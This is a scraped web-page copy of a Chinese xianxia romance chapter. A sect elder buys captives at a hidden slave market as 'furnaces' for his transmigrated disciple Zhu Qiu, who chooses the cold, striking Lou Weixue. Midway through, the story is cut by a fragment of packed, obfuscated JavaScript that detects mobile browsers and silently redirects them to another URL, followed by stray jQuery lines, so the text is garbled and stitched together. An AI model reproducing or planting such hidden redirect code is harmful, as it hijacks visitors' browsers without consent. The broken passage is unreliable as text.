天才蒙蒙亮,街市却已热闹起来。
人群摩肩接踵,挤的严严实实,独有一打扮花哨的男子灵活自如地穿过人潮,轻车熟路地步入一条小巷,他站在巷口,抬起扇柄在墙上敲了三下。
咯哒。
墙壁缓慢下沉,露出一条供一人行走的通道,男子踏入通道,墙壁再次合上,小巷回归寂静,如同什么都没发生过。
通道后别有洞天,宽阔的地面上摆着数个笼子,笼子里卖的不是别的,而是——各种各样的人。
这里是隐藏在街市间的黑市,只在特定的时间开放,灰头土脸的奴隶们正在几个脸上有刀疤的大汉监督下努力工作,衣着花哨的男子目光挑剔地打量着各个笼子里的“人”。
他们有的是妖化形的,身上还残留着妖的特征,也有有几分姿色的小倌,牙郎是个会看眼色的,见了男人便迎上来谄媚道:“公子可是要买货?”
哗啦——那男子打开扇子遮住下半张脸,只露出一双锐利的凤眼,语带嫌弃:“把你们这身体最健康最有姿色的人带来我看看。”
牙郎双手搓了搓,立刻点头称是,转身指挥大汉把几个笼子推过来。
这男子不是别人,正是合欢宗三长老姬连赫。
姬连赫皱着眉,扇子一刻也不曾放下,若不是为了他那宝贝徒儿,他才不来这腌臜地方。
符箓楼那个狗东西退了湫湫的亲事不说,还在外头诋毁她的名声,弄的湫湫黯然神伤,闭门不出好几日。
思及此,姬连赫又咬牙切齿,一开始定亲就是为了帮祝湫修炼,明明一切条件都谈妥了,谁知那不是人的玩意儿居然半道后悔,还亏了他好几年的丹药!
他憋着口气,不过是个两条腿的男人,有什么不好找的,他今日一定要找到一个最完美的送给宝贝徒儿做炉鼎!
“公子,您请看。”
笼子被推上前,姬连赫眼神在几个笼间跳跃,眉头皱的能夹死苍蝇,他了然地微微摇头,扇子合拢:“啧,勉勉强强,还有吗?”
牙郎觑着他的脸色,心里小算盘打个不停。
这男人穿着华贵,气质出众,相貌也出奇的美,看着也不差钱,定然不是普通人。
这样的大客户可不能轻易放跑了,牙郎眼珠转了转,给守在旁边的大汉使了个眼色,满脸堆笑说:“您稍安勿躁,近日咱们这新来了一位,一定合您的眼,快把那个人带过来。”
笼子将将被推上前,姬连赫就眼前一亮,望着其中衣衫破旧的人上下打量,牙郎见他神色有变,趁热打铁道:“公子您果然有眼光,那人是我们几天前捡来的,您瞧瞧那腰,那身材,那气质,算是上佳的极品了,虽性子不驯,但在我手下调教了一番,也会听话了,您要了绝对不吃亏,您看?”
“还算能入眼,这个和那几个,我全要了。”
姬连赫扇子随意点了几下,掏出一个布袋扔进牙郎手里。
牙郎掂了掂重量,大喜过望:“好嘞公子,您稍等,我这就让人把他们拾掇干净给您送去!”
……
“那些凡夫俗子懂什么!男欢女爱,情难自禁乃人之常情,在我们合欢宗,一个元阳都没采补到的人才丢脸!”
天高气爽,闲来无事,祝湫抓着把瓜子,盘腿坐在树荫下听师兄师姐们聊八卦。
她这两日吃吃睡睡,日子过的很是舒坦。
这帮人也不是一般八卦,从哪派的人单身多到哪派的美男身材好,全修真界都让他们点评了一遍,聊到一半思绪游离的祝湫突然回神,就见大家都小心翼翼地瞅着她。
祝湫:?
她顺着最后听到的话开口:“呃,我很丢脸吗?”
“咳,师妹,我不是在说你。”
刚才激情澎湃的师兄突然哑火,空气里突然浮动起一丝尴尬。
打破这尴尬氛围的是清婉自远方而来的嘹亮的传音:“师妹!快快下来!师父回来了!还为你带了炉鼎!”
声音震耳欲聋,在场每个人都能听到,祝湫沉默了。
她早就把找炉鼎这件事忘到九霄云外去了,本以为师父回来至少也要个三五年,清婉说的时候她压根没放心上,谁知道便宜师父竟然真的这么快就找到炉鼎回来了。
祝湫痛心疾首,重重拍了下大腿,坏了,她母胎单身这么多年,一朝穿越过来,福还没享几天就要踏入婚姻的坟墓了。
要不找个理由不去?
想法才冒头,那师兄反应过来,立刻站起来道:“师妹,既然师父给你找了炉鼎,咱们一起快去看看吧!”
“是啊,既然是姬长老找的炉鼎,一定不会差,师妹我们一起快走吧,别让长老等急了。”
剩下的人附和着,祝湫连半点逃避的机会都没有,半推半就着被领进了山腰的正厅。
她僵直着手脚,一眼就看到站在正厅里面容姣好的男子,纵使合欢宗俊男美女多到她这几日眼睛都看腻了,眼前男子的相貌也依旧令人惊叹。
那男子一见他便笑盈盈地上前招呼道:“湫湫,可想为师了?”
“……师父。”
祝湫扯起一个艰难的笑容。
姬连赫脸色一变,担忧地看了看她,似乎很困惑:“这才几日,湫湫怎的与我生分了,都不与师父撒娇了。”
祝湫:“……”
“师父有所不知,师妹这几日伤心过度,不但主动抄本门合欢诀,甚至还因此伤了心神,失去了过往的记忆,连膳房的位置都不记得了。”
清婉连连叹息,姬连赫听完更是心疼地搂住祝湫。
祝湫:……师姐你又擅自给我加了什么设定?
他拍拍祝湫的背,语气笃定:“我们湫湫受苦了,别怕,师父给你找来了天下最好的炉鼎,个个都比那什么破符修好!”
“来!”
他拍拍手,很快有人领上来四个男人,他们穿着四种不同颜色的衣袍,放眼望去姿容皆是不错。
姬连赫豪气地一挥手:“这是为师遍寻天下为你找来的炉鼎,资质皆是上乘,风花雪月,任你挑选!”
“哎呀,看着都不错呢,师妹你挑一个吧,喜欢哪个挑哪个。”
清婉捂嘴笑了笑,面纱轻轻扬起一边,那四人里就有人看呆了眼。
这倒是正常,合欢宗因其修炼方法特殊,除了她这个走了狗屎运进来的,便是选进来伺候的侍女仆从都没有一个不好看的。
四周已经有跟来的弟子窃窃私语,看猴一样围观点评着中间的四人。
祝湫人站在大厅,魂已经飘到外头去了,来了古代也要相亲吗?这人是一定要选吗?
仿佛为了印证她的想法,在中间的几个人宛如孔雀开屏般,开始各显身手,绿衣服的风像个古风小生,句句辞赋不要钱样从他嘴里蹦出,分明才见面一会儿,却要吟诗作对彰显对她的心心念念。
红衣服的花搔首弄姿,朝着她疯狂抛媚眼,祝湫被他看的浑身哆嗦,甚至疑心他是不是男狐狸成精。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125874|196067||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>蓝衣服的月一副碰瓷的病西施作态,走两步咳的肺都要掉出来,他抚弄着手中的琴,一脸伤春悲秋念着词,脸色虚的祝湫生怕他当场就驾鹤西去。
祝湫瑟瑟发抖,缩在姬连赫背后,脸色先绿后白,她这个便宜师父到底哪找来的这些神人。
到底搞什么啊,她只是想安静的生活,要和这帮神人在一起,这日子没法过了。
她颤颤巍巍把视线移到最后一个雪身上,然后愣住了。
在其他人群魔乱舞,使尽力气都要留下来时,唯有代表雪的这个男人站在原地,垂着头,身姿挺拔如鹤,半步都没有挪过,仿佛对周围一切视若无睹。
刚才没仔细看,但现在凑近一瞧,祝湫才发现,哪怕在这全是美人的合欢宗,雪的外貌也显得格外出众,他的骨相优越,鼻梁高挺,那脸俊美却不阴柔,反而英气十足,令人心惊肉跳。
是那种锋锐外扬的,极具攻击性的美,用绝色来形容都不为过。
他只穿一件纯白的外袍,唇色苍白,脸上没有表情,虽是一副病态,但气质沉静,在人群里独树一帜,淡漠出尘,若她师父姬连赫是艳丽的牡丹,那他就如那一捧高岭终年不化的霜花。
作为低能量人群,与人交往简直是在吸干她的能量,还不如找个看着不黏人的。
最重要的是,祝湫是个颜控。
哪怕搭伙过日子,她也想选个好看的,脾气差点也没关系,至少每天起来看到这张脸心情会很好。
“我选他。”
她指向站在角落的雪。
那男人闻言抬起头,乌发末尾的那抹白晃眼,他似笑非笑地扫了一眼,生动的表情衬的他多了几分人味。
姬连赫扇着扇子,颇为满意,扇子指指雪:“我徒儿眼光跟我一般好,果真选了他,来个人,把他领到湫湫房里去,你们三个,跟我去副殿。”
“多少也有点姿色,可不能浪费了……”他咕哝着,摇着扇子把人领走了。
雪安安静静地等着人来带他走,眼神从刚才开始就没离开过祝湫,说实话,他一点也不想伺候合欢宗的人,如果不是身上有伤,他根本不会沦落到这种地步,面前这个女人竟然还挑来挑去,当菜市场挑白菜吗?
算了,祝湫的脸在这美人堆里并不出彩,但比起其他浓妆艳抹的家伙,看着还算舒服,这妖精洞里也就她顺眼些。
只是暂且住一住,待过些时日他熟悉了这地方,再找机会传信也不迟。
雪心念一动,垂眸不语。
祝湫抓抓脸,转过身来,绞尽脑汁和面前这个男人说了第一句话:“那个,我们接下来要相处很久,总不能一直叫你雪,你叫什么名字啊?”
“……”
空气安静下来。
救命,她真的不知道要怎么和相亲对象相处,前世每次相亲她都如坐针毡,互相了解时更是两人牛头不对马嘴,一顿尬聊后总是以沉默结尾。
“你不想说就……”
她刚想说些什么打岔过去,静静站着的男人突然开口了:
“楼危雪。木字旁楼,风花雪月的雪。”
讲到风花雪月时他刻意咬重了字句,冷淡的声音隐约透出一丝不忿。
“楼危雪,这名字真好听,我叫祝湫,很高兴认识你。”
说话时祝湫耳边的流苏耳坠晃了晃,楼危雪视线落在她白皙的脖颈上,很快又移开。
彼时她还未曾想到,这看似高岭的雪才是这堆人里最难缠的一位。